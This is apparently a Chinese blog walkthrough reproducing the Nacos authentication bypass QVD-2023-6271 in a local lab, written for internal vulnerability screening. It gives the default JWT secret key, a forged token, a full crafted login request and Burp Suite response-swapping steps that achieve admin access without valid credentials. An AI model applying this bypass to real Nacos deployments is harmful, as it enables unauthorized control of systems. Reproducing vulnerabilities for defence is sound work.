Nacos身份绕过漏洞复现(QVD-2023-6271)

Nacos身份绕过漏洞复现(QVD-2023-6271)

公司上级预警QVD-2023-6271,领导安排进行排查。
本着知己知彼的原则,我在本地将该漏洞复现出来。

漏洞原理:Nacos 在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

一、环境安装

vwmare 安装 win10环境 (略)

java安装

我这里使用的是jdk-11.0.2_windows-x64_bin.exe。
下载地址:jdk下载

安装后记得配置环境变量,这里需要注意一下环境变量,因为nacos是使用的JAVA_HOME作为java的环境变量,path里面添加java的路径作为环境变量是无效的。

需要在环境变量里面新建JAVA_HOME,指定jdk的安装位置。
Nacos身份绕过漏洞复现(QVD-2023-6271)_第1张图片

nacos启动

下载地址:nacos
要下载nacos版本小于2.2.0,版本高于2.2.0的话漏洞就修复了,没法复现了。
我这里使用的是2.2.0版本。
在这里插入图片描述
解压后,接入D:\nacos\bin(对应的解压路径)的cmd,输入启动命令

startup.cmd -m standalone

Nacos身份绕过漏洞复现(QVD-2023-6271)_第2张图片
访问登录界面。
Nacos身份绕过漏洞复现(QVD-2023-6271)_第3张图片

二、获取cookie

时间戳准备

我们实现先准备个时间戳,需要大于当前系统时间,我现在时间是2023年4月23日,我构造了2023年4月24日的时间。
时间戳构造网页连接:时间戳
在这里插入图片描述

使用nacos默认key可进行jwt构造

nacos默认key(token.secret.key值的位置在conf下的application.properties)

SecretKey012345678901234567890123456789012345678901234567890123456789

PAYLOAD:DATA

{
  "sub": "nacos",
  "exp": 1682308800
}

jwt网址:json web tokens
Nacos身份绕过漏洞复现(QVD-2023-6271)_第4张图片
得到了一串值。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4

burp发送数据包

通过构造数据包发送,可以在返回包获取到cookie。
其中用户名和密码都是自己构造的,实际上nacos不存在这个用户。
Nacos身份绕过漏洞复现(QVD-2023-6271)_第5张图片
请求包

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.30.100:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://192.168.30.100:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4

username=najcos&password=nacjos

三、 burpsuite修改数据包

开启代理,打开经典的火狐浏览器

截取登录数据包

将刚才返回包得到的构造的cookie和用户密码填入到数据包里面

Nacos身份绕过漏洞复现(QVD-2023-6271)_第6张图片
右击选择Do intercept–>Response to request
Nacos身份绕过漏洞复现(QVD-2023-6271)_第7张图片
点击Forward,发现这里报500错
Nacos身份绕过漏洞复现(QVD-2023-6271)_第8张图片
没关系,找到之前的构造cookie的返回包
复制全部内容,粘贴到里面,点击Forward!!!
Nacos身份绕过漏洞复现(QVD-2023-6271)_第9张图片
关闭代理,查看浏览器。
成功绕过。
Nacos身份绕过漏洞复现(QVD-2023-6271)_第10张图片

你可能感兴趣的:(网络安全,java,安全,web安全)